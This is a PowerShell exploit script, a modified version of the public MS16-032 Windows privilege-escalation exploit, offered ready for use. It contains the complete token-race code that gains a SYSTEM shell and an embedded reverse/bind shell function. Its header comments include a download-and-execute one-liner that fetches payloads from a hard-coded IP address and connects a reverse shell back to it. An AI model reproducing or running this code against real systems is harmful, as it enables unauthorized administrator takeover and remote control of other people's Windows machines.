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Win7-Win10 & 2k8-2k12 <== 32/64bit privilege escalation (MS16-032 exploit modded) - command argv + reverse shell
## intrd's MS16-032 priv escalation exploit modded - interactive shell & command argv
# Follow this cmd to exploit MS16-032 to get admin and run shell.ps1(ATTACHMNT): Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command YOURCOMANDHERE"
# To get a reverse powershell, serve this ms16_032_intrd_mod.ps1 and Invoke-PowerShellTcp.ps1, and use this download & exec oneliner: IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.169 -Port 3003"
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
Modifications by Mike Benich (@benichmt1).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
Empire Updates - Mike Benich / @benichmt1
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
param (
[Parameter(Mandatory = $True)]
[string]$Cmd
)
## intrd's powershell
function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop Get-ThreadHandle and collect thread handles with a valid TID
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!`n"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, skip loop
if ($SysTokenHandle -eq 0) {
continue
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "$Cmd",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
}
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